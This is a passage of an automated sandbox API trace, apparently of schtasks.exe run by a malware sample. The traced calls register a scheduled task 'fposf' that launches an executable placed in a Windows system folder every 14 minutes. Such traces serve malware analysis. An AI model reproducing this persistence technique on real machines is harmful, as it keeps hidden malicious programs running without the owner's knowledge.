(_Buf1=0x44c180, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.102] lstrlenW (lpString="f") returned 1 [0155.102] _memicmp (_Buf1=0x44c1c0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.102] _vsnwprintf (in: _Buffer=0x44c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23c208 | out: _Buffer="|tr|") returned 4 [0155.102] _vsnwprintf (in: _Buffer=0x44c1e0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23c208 | out: _Buffer="|f|") returned 3 [0155.102] lstrlenW (lpString="|tr|") returned 4 [0155.102] lstrlenW (lpString="|f|") returned 3 [0155.102] StrStrIW (lpFirst="|tr|", lpSrch="|f|") returned 0x0 [0155.102] SetLastError (dwErrCode=0x490) [0155.103] lstrlenW (lpString="st") returned 2 [0155.103] lstrlenW (lpString="st") returned 2 [0155.103] _memicmp (_Buf1=0x44c180, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.103] lstrlenW (lpString="f") returned 1 [0155.103] _memicmp (_Buf1=0x44c1c0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.103] _vsnwprintf (in: _Buffer=0x44c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23c208 | out: _Buffer="|st|") returned 4 [0155.103] _vsnwprintf (in: _Buffer=0x44c1e0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23c208 | out: _Buffer="|f|") returned 3 [0155.103] lstrlenW (lpString="|st|") returned 4 [0155.103] lstrlenW (lpString="|f|") returned 3 [0155.103] StrStrIW (lpFirst="|st|", lpSrch="|f|") returned 0x0 [0155.103] SetLastError (dwErrCode=0x490) [0155.105] lstrlenW (lpString="sd") returned 2 [0155.105] lstrlenW (lpString="sd") returned 2 [0155.105] _memicmp (_Buf1=0x44c180, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.105] lstrlenW (lpString="f") returned 1 [0155.105] _memicmp (_Buf1=0x44c1c0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.105] _vsnwprintf (in: _Buffer=0x44c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23c208 | out: _Buffer="|sd|") returned 4 [0155.105] _vsnwprintf (in: _Buffer=0x44c1e0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23c208 | out: _Buffer="|f|") returned 3 [0155.105] lstrlenW (lpString="|sd|") returned 4 [0155.105] lstrlenW (lpString="|f|") returned 3 [0155.105] StrStrIW (lpFirst="|sd|", lpSrch="|f|") returned 0x0 [0155.105] SetLastError (dwErrCode=0x490) [0155.105] lstrlenW (lpString="ed") returned 2 [0155.106] lstrlenW (lpString="ed") returned 2 [0155.106] _memicmp (_Buf1=0x44c180, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.106] lstrlenW (lpString="f") returned 1 [0155.106] _memicmp (_Buf1=0x44c1c0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.106] _vsnwprintf (in: _Buffer=0x44c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23c208 | out: _Buffer="|ed|") returned 4 [0155.106] _vsnwprintf (in: _Buffer=0x44c1e0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23c208 | out: _Buffer="|f|") returned 3 [0155.106] lstrlenW (lpString="|ed|") returned 4 [0155.106] lstrlenW (lpString="|f|") returned 3 [0155.106] StrStrIW (lpFirst="|ed|", lpSrch="|f|") returned 0x0 [0155.106] SetLastError (dwErrCode=0x490) [0155.106] lstrlenW (lpString="it") returned 2 [0155.106] lstrlenW (lpString="it") returned 2 [0155.106] _memicmp (_Buf1=0x44c180, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.106] lstrlenW (lpString="f") returned 1 [0155.106] _memicmp (_Buf1=0x44c1c0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.106] _vsnwprintf (in: _Buffer=0x44c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23c208 | out: _Buffer="|it|") returned 4 [0155.106] _vsnwprintf (in: _Buffer=0x44c1e0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23c208 | out: _Buffer="|f|") returned 3 [0155.106] lstrlenW (lpString="|it|") returned 4 [0155.106] lstrlenW (lpString="|f|") returned 3 [0155.106] StrStrIW (lpFirst="|it|", lpSrch="|f|") returned 0x0 [0155.106] SetLastError (dwErrCode=0x490) [0155.106] lstrlenW (lpString="et") returned 2 [0155.106] lstrlenW (lpString="et") returned 2 [0155.106] _memicmp (_Buf1=0x44c180, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.106] _memicmp (_Buf1=0x44c1c0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.106] _vsnwprintf (in: _Buffer=0x44c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23c208 | out: _Buffer="|et|") returned 4 [0155.106] _vsnwprintf (in: _Buffer=0x44c1e0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23c208 | out: _Buffer="|f|") returned 3 [0155.106] lstrlenW (lpString="|et|") returned 4 [0155.106] lstrlenW (lpString="|f|") returned 3 [0155.107] StrStrIW (lpFirst="|et|", lpSrch="|f|") returned 0x0 [0155.107] SetLastError (dwErrCode=0x490) [0155.107] lstrlenW (lpString="k") returned 1 [0155.107] lstrlenW (lpString="k") returned 1 [0155.107] _memicmp (_Buf1=0x44c180, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.107] _memicmp (_Buf1=0x44c1c0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.107] _vsnwprintf (in: _Buffer=0x44c200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23c208 | out: _Buffer="|k|") returned 3 [0155.107] _vsnwprintf (in: _Buffer=0x44c1e0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23c208 | out: _Buffer="|f|") returned 3 [0155.107] lstrlenW (lpString="|k|") returned 3 [0155.107] lstrlenW (lpString="|f|") returned 3 [0155.107] StrStrIW (lpFirst="|k|", lpSrch="|f|") returned 0x0 [0155.107] SetLastError (dwErrCode=0x490) [0155.107] lstrlenW (lpString="du") returned 2 [0155.107] lstrlenW (lpString="du") returned 2 [0155.107] _memicmp (_Buf1=0x44c180, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.107] _memicmp (_Buf1=0x44c1c0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.107] _vsnwprintf (in: _Buffer=0x44c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23c208 | out: _Buffer="|du|") returned 4 [0155.107] _vsnwprintf (in: _Buffer=0x44c1e0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23c208 | out: _Buffer="|f|") returned 3 [0155.107] lstrlenW (lpString="|du|") returned 4 [0155.107] lstrlenW (lpString="|f|") returned 3 [0155.107] StrStrIW (lpFirst="|du|", lpSrch="|f|") returned 0x0 [0155.107] SetLastError (dwErrCode=0x490) [0155.107] lstrlenW (lpString="ri") returned 2 [0155.107] lstrlenW (lpString="ri") returned 2 [0155.107] _memicmp (_Buf1=0x44c180, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.107] _memicmp (_Buf1=0x44c1c0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.107] _vsnwprintf (in: _Buffer=0x44c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23c208 | out: _Buffer="|ri|") returned 4 [0155.107] _vsnwprintf (in: _Buffer=0x44c1e0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23c208 | out: _Buffer="|f|") returned 3 [0155.107] lstrlenW (lpString="|ri|") returned 4 [0155.107] lstrlenW (lpString="|f|") returned 3 [0155.107] StrStrIW (lpFirst="|ri|", lpSrch="|f|") returned 0x0 [0155.108] SetLastError (dwErrCode=0x490) [0155.108] lstrlenW (lpString="z") returned 1 [0155.108] lstrlenW (lpString="z") returned 1 [0155.108] _memicmp (_Buf1=0x44c180, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.108] _memicmp (_Buf1=0x44c1c0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.108] _vsnwprintf (in: _Buffer=0x44c200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23c208 | out: _Buffer="|z|") returned 3 [0155.108] _vsnwprintf (in: _Buffer=0x44c1e0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23c208 | out: _Buffer="|f|") returned 3 [0155.108] lstrlenW (lpString="|z|") returned 3 [0155.108] lstrlenW (lpString="|f|") returned 3 [0155.108] StrStrIW (lpFirst="|z|", lpSrch="|f|") returned 0x0 [0155.108] SetLastError (dwErrCode=0x490) [0155.108] lstrlenW (lpString="f") returned 1 [0155.108] lstrlenW (lpString="f") returned 1 [0155.108] _memicmp (_Buf1=0x44c180, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.108] _memicmp (_Buf1=0x44c1c0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.108] _vsnwprintf (in: _Buffer=0x44c200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23c208 | out: _Buffer="|f|") returned 3 [0155.108] _vsnwprintf (in: _Buffer=0x44c1e0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23c208 | out: _Buffer="|f|") returned 3 [0155.108] lstrlenW (lpString="|f|") returned 3 [0155.108] lstrlenW (lpString="|f|") returned 3 [0155.108] StrStrIW (lpFirst="|f|", lpSrch="|f|") returned="|f|" [0155.108] SetLastError (dwErrCode=0x0) [0155.108] SetLastError (dwErrCode=0x0) [0155.109] _memicmp (_Buf1=0x44ba70, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.109] LoadStringW (in: hInstance=0x0, uID=0x1ae, lpBuffer=0x44d260, cchBufferMax=256 | out: lpBuffer="MINUTE") returned 0x6 [0155.109] lstrlenW (lpString="MINUTE") returned 6 [0155.109] GetProcessHeap () returned 0x430000 [0155.109] RtlAllocateHeap (HeapHandle=0x430000, Flags=0xc, Size=0xe) returned 0x44d560 [0155.109] GetThreadLocale () returned 0x409 [0155.109] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="MINUTE", cchCount1=-1, lpString2="MINUTE", cchCount2=-1) returned 2 [0155.109] SetLastError (dwErrCode=0x0) [0155.109] GetProcessHeap () returned 0x430000 [0155.109] RtlAllocateHeap (HeapHandle=0x430000, Flags=0xc, Size=0x1fc) returned 0x44c230 [0155.109] _memicmp (_Buf1=0x44ba70, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.109] LoadStringW (in: hInstance=0x0, uID=0x1d7, lpBuffer=0x44d260, cchBufferMax=256 | out: lpBuffer="First") returned 0x5 [0155.109] lstrlenW (lpString="First") returned 5 [0155.109] GetProcessHeap () returned 0x430000 [0155.109] RtlAllocateHeap (HeapHandle=0x430000, Flags=0xc, Size=0xc) returned 0x44d580 [0155.109] GetProcessHeap () returned 0x430000 [0155.109] RtlAllocateHeap (HeapHandle=0x430000, Flags=0xc, Size=0x20) returned 0x44cc70 [0155.109] _memicmp (_Buf1=0x44ba70, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.109] LoadStringW (in: hInstance=0x0, uID=0x1d8, lpBuffer=0x44d260, cchBufferMax=256 | out: lpBuffer="Second") returned 0x6 [0155.109] lstrlenW (lpString="Second") returned 6 [0155.109] GetProcessHeap () returned 0x430000 [0155.109] RtlAllocateHeap (HeapHandle=0x430000, Flags=0xc, Size=0xe) returned 0x44d5a0 [0155.109] GetProcessHeap () returned 0x430000 [0155.109] RtlAllocateHeap (HeapHandle=0x430000, Flags=0xc, Size=0x20) returned 0x44cc40 [0155.109] _memicmp (_Buf1=0x44ba70, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.109] LoadStringW (in: hInstance=0x0, uID=0x1d9, lpBuffer=0x44d260, cchBufferMax=256 | out: lpBuffer="Third") returned 0x5 [0155.110] lstrlenW (lpString="Third") returned 5 [0155.110] GetProcessHeap () returned 0x430000 [0155.110] RtlAllocateHeap (HeapHandle=0x430000, Flags=0xc, Size=0xc) returned 0x44d5c0 [0155.110] GetProcessHeap () returned 0x430000 [0155.110] RtlAllocateHeap (HeapHandle=0x430000, Flags=0xc, Size=0x20) returned 0x44cc10 [0155.110] _memicmp (_Buf1=0x44ba70, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.110] LoadStringW (in: hInstance=0x0, uID=0x1da, lpBuffer=0x44d260, cchBufferMax=256 | out: lpBuffer="Fourth") returned 0x6 [0155.110] lstrlenW (lpString="Fourth") returned 6 [0155.110] GetProcessHeap () returned 0x430000 [0155.110] RtlAllocateHeap (HeapHandle=0x430000, Flags=0xc, Size=0xe) returned 0x44d5e0 [0155.110] GetProcessHeap () returned 0x430000 [0155.110] RtlAllocateHeap (HeapHandle=0x430000, Flags=0xc, Size=0x20) returned 0x44cbe0 [0155.110] _memicmp (_Buf1=0x44ba70, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.110] LoadStringW (in: hInstance=0x0, uID=0x1db, lpBuffer=0x44d260, cchBufferMax=256 | out: lpBuffer="Last") returned 0x4 [0155.110] lstrlenW (lpString="Last") returned 4 [0155.110] GetProcessHeap () returned 0x430000 [0155.110] RtlAllocateHeap (HeapHandle=0x430000, Flags=0xc, Size=0xa) returned 0x44d600 [0155.110] lstrlenW (lpString="14") returned 2 [0155.110] _wtol (_String="14") returned 14 [0155.110] _memicmp (_Buf1=0x44ba70, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.110] LoadStringW (in: hInstance=0x0, uID=0x1d7, lpBuffer=0x44d260, cchBufferMax=256 | out: lpBuffer="First") returned 0x5 [0155.110] lstrlenW (lpString="First") returned 5 [0155.110] GetProcessHeap () returned 0x430000 [0155.110] RtlAllocateHeap (HeapHandle=0x430000, Flags=0xc, Size=0xc) returned 0x44d620 [0155.110] _memicmp (_Buf1=0x44ba70, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.110] LoadStringW (in: hInstance=0x0, uID=0x1d8, lpBuffer=0x44d260, cchBufferMax=256 | out: lpBuffer="Second") returned 0x6 [0155.110] lstrlenW (lpString="Second") returned 6 [0155.110] GetProcessHeap () returned 0x430000 [0155.110] RtlAllocateHeap (HeapHandle=0x430000, Flags=0xc, Size=0xe) returned 0x44d640 [0155.110] _memicmp (_Buf1=0x44ba70, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.110] LoadStringW (in: hInstance=0x0, uID=0x1d9, lpBuffer=0x44d260, cchBufferMax=256 | out: lpBuffer="Third") returned 0x5 [0155.111] lstrlenW (lpString="Third") returned 5 [0155.111] _memicmp (_Buf1=0x44ba70, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.111] LoadStringW (in: hInstance=0x0, uID=0x1da, lpBuffer=0x44d260, cchBufferMax=256 | out: lpBuffer="Fourth") returned 0x6 [0155.111] lstrlenW (lpString="Fourth") returned 6 [0155.111] _memicmp (_Buf1=0x44ba70, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.111] LoadStringW (in: hInstance=0x0, uID=0x1db, lpBuffer=0x44d260, cchBufferMax=256 | out: lpBuffer="Last") returned 0x4 [0155.111] lstrlenW (lpString="Last") returned 4 [0155.111] GetLocaleInfoW (in: Locale=0x400, LCType=0x21, lpLCData=0x23c080, cchData=128 | out: lpLCData="0") returned 2 [0155.111] _memicmp (_Buf1=0x44ba70, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.111] LoadStringW (in: hInstance=0x0, uID=0x19c, lpBuffer=0x44d260, cchBufferMax=256 | out: lpBuffer="mm/dd/yyyy") returned 0xa [0155.111] lstrlenW (lpString="mm/dd/yyyy") returned 10 [0155.111] GetProcessHeap () returned 0x430000 [0155.111] GetProcessHeap () returned 0x430000 [0155.111] HeapValidate (hHeap=0x430000, dwFlags=0x0, lpMem=0x44d580) returned 1 [0155.111] GetProcessHeap () returned 0x430000 [0155.111] RtlSizeHeap (HeapHandle=0x430000, Flags=0x0, MemoryPointer=0x44d580) returned 0xc [0155.111] GetLocaleInfoW (in: Locale=0x400, LCType=0x21, lpLCData=0x23c0a0, cchData=128 | out: lpLCData="0") returned 2 [0155.111] _memicmp (_Buf1=0x44ba70, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.111] LoadStringW (in: hInstance=0x0, uID=0x19c, lpBuffer=0x44d260, cchBufferMax=256 | out: lpBuffer="mm/dd/yyyy") returned 0xa [0155.111] lstrlenW (lpString="mm/dd/yyyy") returned 10 [0155.111] GetProcessHeap () returned 0x430000 [0155.111] GetProcessHeap () returned 0x430000 [0155.111] HeapValidate (hHeap=0x430000, dwFlags=0x0, lpMem=0x44d5a0) returned 1 [0155.111] GetProcessHeap () returned 0x430000 [0155.111] RtlSizeHeap (HeapHandle=0x430000, Flags=0x0, MemoryPointer=0x44d5a0) returned 0xe [0155.111] GetLocalTime (in: lpSystemTime=0x23c2d0 | out: lpSystemTime=0x23c2d0*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x6, wDay=0x6, wHour=0x2, wMinute=0x13, wSecond=0xe, wMilliseconds=0x2f4)) [0155.111] lstrlenW (lpString="") returned 0 [0155.112] GetLocalTime (in: lpSystemTime=0x23cb88 | out: lpSystemTime=0x23cb88*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x6, wDay=0x6, wHour=0x2, wMinute=0x13, wSecond=0xe, wMilliseconds=0x2f4)) [0155.112] lstrlenW (lpString="") returned 0 [0155.112] lstrlenW (lpString="") returned 0 [0155.112] lstrlenW (lpString="") returned 0 [0155.112] lstrlenW (lpString="") returned 0 [0155.112] lstrlenW (lpString="14") returned 2 [0155.112] _wtol (_String="14") returned 14 [0155.112] lstrlenW (lpString="") returned 0 [0155.112] lstrlenW (lpString="") returned 0 [0155.112] CoInitializeEx (pvReserved=0x0, dwCoInit=0x2) returned 0x0 [0155.133] CoInitializeSecurity (pSecDesc=0x0, cAuthSvc=-1, asAuthSvc=0x0, pReserved1=0x0, dwAuthnLevel=0x1, dwImpLevel=0x3, pAuthList=0x0, dwCapabilities=0x0, pReserved3=0x0) returned 0x0 [0155.252] CoCreateInstance (in: rclsid=0xffbf1ae0*(Data1=0xf87369f, Data2=0xa4e5, Data3=0x4cfc, Data4=([0]=0xbd, [1]=0x3e, [2]=0x73, [3]=0xe6, [4]=0x15, [5]=0x45, [6]=0x72, [7]=0xdd)), pUnkOuter=0x0, dwClsContext=0x17, riid=0xffbf1ad0*(Data1=0x2faba4c7, Data2=0x4da9, Data3=0x4013, Data4=([0]=0x96, [1]=0x97, [2]=0x20, [3]=0xcc, [4]=0x3f, [5]=0xd4, [6]=0xf, [7]=0x85)), ppv=0x23c950 | out: ppv=0x23c950*=0x727a50) returned 0x0 [0155.319] TaskScheduler:ITaskService:Connect (This=0x727a50, serverName=0x23ca30*(varType=0x8, wReserved1=0x23, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), user=0x23c9f0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x32524553524150), domain=0x23ca10*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), password=0x23c9d0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xc0, varVal2=0x100000001)) returned 0x0 [0155.412] TaskScheduler:IUnknown:AddRef (This=0x727a50) returned 0x2 [0155.412] TaskScheduler:ITaskService:GetFolder (in: This=0x727a50, Path=0x0, ppFolder=0x23cae8 | out: ppFolder=0x23cae8*=0x727c10) returned 0x0 [0155.415] TaskScheduler:ITaskService:NewTask (in: This=0x727a50, flags=0x0, ppDefinition=0x23cae0 | out: ppDefinition=0x23cae0*=0x727c60) returned 0x0 [0155.416] ITaskDefinition:get_Actions (in: This=0x727c60, ppActions=0x23ca60 | out: ppActions=0x23ca60*=0x727d20) returned 0x0 [0155.416] IActionCollection:Create (in: This=0x727d20, Type=0, ppAction=0x23ca80 | out: ppAction=0x23ca80*=0x7260c0) returned 0x0 [0155.416] StrChrW (lpStart=" ", wMatch=0x27) returned 0x0 [0155.416] StrChrW (lpStart=" ", wMatch=0x27) returned 0x0 [0155.416] StrChrW (lpStart=" ", wMatch=0x43) returned 0x0 [0155.416] StrChrW (lpStart=" ", wMatch=0x3a) returned 0x0 [0155.416] StrChrW (lpStart=" ", wMatch=0x5c) returned 0x0 [0155.416] StrChrW (lpStart=" ", wMatch=0x57) returned 0x0 [0155.416] StrChrW (lpStart=" ", wMatch=0x69) returned 0x0 [0155.416] StrChrW (lpStart=" ", wMatch=0x6e) returned 0x0 [0155.416] StrChrW (lpStart=" ", wMatch=0x64) returned 0x0 [0155.416] StrChrW (lpStart=" ", wMatch=0x6f) returned 0x0 [0155.416] StrChrW (lpStart=" ", wMatch=0x77) returned 0x0 [0155.416] StrChrW (lpStart=" ", wMatch=0x73) returned 0x0 [0155.416] StrChrW (lpStart=" ", wMatch=0x5c) returned 0x0 [0155.416] StrChrW (lpStart=" ", wMatch=0x53) returned 0x0 [0155.416] StrChrW (lpStart=" ", wMatch=0x79) returned 0x0 [0155.416] StrChrW (lpStart=" ", wMatch=0x73) returned 0x0 [0155.416] StrChrW (lpStart=" ", wMatch=0x57) returned 0x0 [0155.416] StrChrW (lpStart=" ", wMatch=0x4f) returned 0x0 [0155.416] StrChrW (lpStart=" ", wMatch=0x57) returned 0x0 [0155.416] StrChrW (lpStart=" ", wMatch=0x36) returned 0x0 [0155.416] StrChrW (lpStart=" ", wMatch=0x34) returned 0x0 [0155.416] StrChrW (lpStart=" ", wMatch=0x5c) returned 0x0 [0155.416] StrChrW (lpStart=" ", wMatch=0x77) returned 0x0 [0155.416] StrChrW (lpStart=" ", wMatch=0x69) returned 0x0 [0155.416] StrChrW (lpStart=" ", wMatch=0x6e) returned 0x0 [0155.416] StrChrW (lpStart=" ", wMatch=0x72) returned 0x0 [0155.416] StrChrW (lpStart=" ", wMatch=0x6d) returned 0x0 [0155.416] StrChrW (lpStart=" ", wMatch=0x5c) returned 0x0 [0155.417] StrChrW (lpStart=" ", wMatch=0x30) returned 0x0 [0155.417] StrChrW (lpStart=" ", wMatch=0x34) returned 0x0 [0155.417] StrChrW (lpStart=" ", wMatch=0x30) returned 0x0 [0155.417] StrChrW (lpStart=" ", wMatch=0x39) returned 0x0 [0155.417] StrChrW (lpStart=" ", wMatch=0x5c) returned 0x0 [0155.417] StrChrW (lpStart=" ", wMatch=0x66) returned 0x0 [0155.417] StrChrW (lpStart=" ", wMatch=0x70) returned 0x0 [0155.417] StrChrW (lpStart=" ", wMatch=0x6f) returned 0x0 [0155.417] StrChrW (lpStart=" ", wMatch=0x73) returned 0x0 [0155.417] StrChrW (lpStart=" ", wMatch=0x2e) returned 0x0 [0155.417] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0155.417] StrChrW (lpStart=" ", wMatch=0x78) returned 0x0 [0155.417] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0155.417] StrChrW (lpStart=" ", wMatch=0x27) returned 0x0 [0155.417] IUnknown:Release (This=0x7260c0) returned 0x1 [0155.417] IUnknown:Release (This=0x727d20) returned 0x1 [0155.417] ITaskDefinition:get_Triggers (in: This=0x727c60, ppTriggers=0x23c5e0 | out: ppTriggers=0x23c5e0*=0x727e60) returned 0x0 [0155.417] ITriggerCollection:Create (in: This=0x727e60, Type=1, ppTrigger=0x23c5d8 | out: ppTrigger=0x23c5d8*=0x726130) returned 0x0 [0155.417] lstrlenW (lpString="14") returned 2 [0155.417] _vsnwprintf (in: _Buffer=0x23c560, _BufferCount=0xf, _Format="PT%sM", _ArgList=0x23c558 | out: _Buffer="PT14M") returned 5 [0155.418] ITrigger:get_Repetition (in: This=0x726130, ppRepeat=0x23c5d0 | out: ppRepeat=0x23c5d0*=0x7261c0) returned 0x0 [0155.418] IRepetitionPattern:put_Interval (This=0x7261c0, Interval="PT14M") returned 0x0 [0155.418] IUnknown:Release (This=0x7261c0) returned 0x1 [0155.418] _vsnwprintf (in: _Buffer=0x23c520, _BufferCount=0x1f, _Format="%04u-%02u-%02dT%02u:%02u:00", _ArgList=0x23c4f8 | out: _Buffer="2022-08-06T02:19:00") returned 19 [0155.418] ITrigger:put_StartBoundary (This=0x726130, StartBoundary="2022-08-06T02:19:00") returned 0x0 [0155.418] lstrlenW (lpString="") returned 0 [0155.418] lstrlenW (lpString="") returned 0 [0155.418] lstrlenW (lpString="") returned 0 [0155.418] lstrlenW (lpString="") returned 0 [0155.418] IUnknown:Release (This=0x726130) returned 0x1 [0155.418] IUnknown:Release (This=0x727e60) returned 0x1 [0155.418] ITaskDefinition:get_Settings (in: This=0x727c60, ppSettings=0x23ca80 | out: ppSettings=0x23ca80*=0x727ed0) returned 0x0 [0155.418] lstrlenW (lpString="") returned 0 [0155.418] IUnknown:Release (This=0x727ed0) returned 0x1 [0155.418] GetLocalTime (in: lpSystemTime=0x23c938 | out: lpSystemTime=0x23c938*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x6, wDay=0x6, wHour=0x2, wMinute=0x13, wSecond=0xf, wMilliseconds=0x44)) [0155.418] LoadLibraryExA (lpLibFileName="ADVAPI32.dll", hFile=0x0, dwFlags=0x0) returned 0x7fefe7b0000 [0155.419] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="GetUserNameW") returned 0x7fefe7c1fd0 [0155.419] GetUserNameW (in: lpBuffer=0x23c960, pcbBuffer=0x23c948 | out: lpBuffer="kEecfMwgj", pcbBuffer=0x23c948) returned 1 [0155.419] ITaskDefinition:get_RegistrationInfo (in: This=0x727c60, ppRegistrationInfo=0x23c930 | out: ppRegistrationInfo=0x23c930*=0x727da0) returned 0x0 [0155.419] IRegistrationInfo:put_Author (This=0x727da0, Author="") returned 0x0 [0155.419] _vsnwprintf (in: _Buffer=0x23c960, _BufferCount=0x7f, _Format="%d-%02d-%02dT%02d:%02d:%02d", _ArgList=0x23c8f8 | out: _Buffer="2022-08-06T02:19:15") returned 19 [0155.419] IRegistrationInfo:put_Date (This=0x727da0, Date="") returned 0x0 [0155.419] IUnknown:Release (This=0x727da0) returned 0x1 [0155.420] malloc (_Size=0x18) returned 0x725a90 [0155.420] free (_Block=0x725a90) [0155.420] lstrlenW (lpString="") returned 0 [0155.420] malloc (_Size=0x18) returned 0x725a90 [0155.420] ITaskFolder:RegisterTaskDefinition (in: This=0x727c10, Path="fposf", pDefinition=0x727c60, flags=6, UserId=0x23cbd0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), password=0x23cc10*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x23eae0, varVal2=0xfe), LogonType=3, sddl=0x23cbf0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), ppTask=0x23caf0 | out: ppTask=0x23caf0*=0x726350) returned 0x0 [0155.796] free (_Block=0x725a90) [0155.796] _memicmp (_Buf1=0x44ba70, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.796] LoadStringW (in: hInstance=0x0, uID=0x12e, lpBuffer=0x44d260, cchBufferMax=256 | out: lpBuffer="SUCCESS: The scheduled task \"%s\" has successfully been created.\n") returned 0x40 [0155.796] lstrlenW (lpString="SUCCESS: The scheduled task \"%s\" has successfully been created.\n") returned 64 [0155.796] GetProcessHeap () returned 0x430000 [0155.796] GetProcessHeap () returned 0x430000 [0155.796] HeapValidate (hHeap=0x430000, dwFlags=0x0, lpMem=0x44d5c0) returned 1 [0155.796] GetProcessHeap () returned 0x430000 [0155.796] RtlSizeHeap (HeapHandle=0x430000, Flags=0x0, MemoryPointer=0x44d5c0) returned 0xc [0155.796] _vsnwprintf (in: _Buffer=0x23d230, _BufferCount=0x1fb, _Format="SUCCESS: The scheduled task \"%s\" has successfully been created.\n", _ArgList=0x23ca98 | out: _Buffer="SUCCESS: The scheduled task \"fposf\" has successfully been created.\n") returned 67 [0155.796] _fileno (_File=0x7fefed02ab0) returned -2 [0155.796] _errno () returned 0x724bb0 [0155.796] _get_osfhandle (_FileHandle=-2) returned 0xffffffffffffffff [0155.796] SetLastError (dwErrCode=0x6) [0155.796] lstrlenW (lpString="SUCCESS: The scheduled task \"fposf\" has successfully been created.\n") returned 67 [0155.797] GetConsoleOutputCP () returned 0x0 [0155.797] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SUCCESS: The scheduled task \"fposf\" has successfully been created.\n", cchWideChar=67, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 67 [0155.797] GetConsoleOutputCP () returned 0x0 [0155.797] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SUCCESS: The scheduled task \"fposf\" has successfully been created.\n", cchWideChar=67, lpMultiByteStr=0xffc31880, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SUCCESS: The scheduled task \"fposf\" has successfully been created.\n", lpUsedDefaultChar=0x0) returned 67 [0155.797] fprintf (in: _File=0x7fefed02ab0, _Format="%s" | out: _File=0x7fefed02ab0) returned 67 [0155.797] fflush (in: _File=0x7fefed02ab0 | out: _File=0x7fefed02ab0) returned -1 [0155.797] IUnknown:Release (This=0x726350) returned 0x0 [0155.797] TaskScheduler:IUnknown:Release (This=0x727c60) returned 0x0 [0155.797] TaskScheduler:IUnknown:Release (This=0x727c10) returned 0x0 [0155.797] TaskScheduler:IUnknown:Release 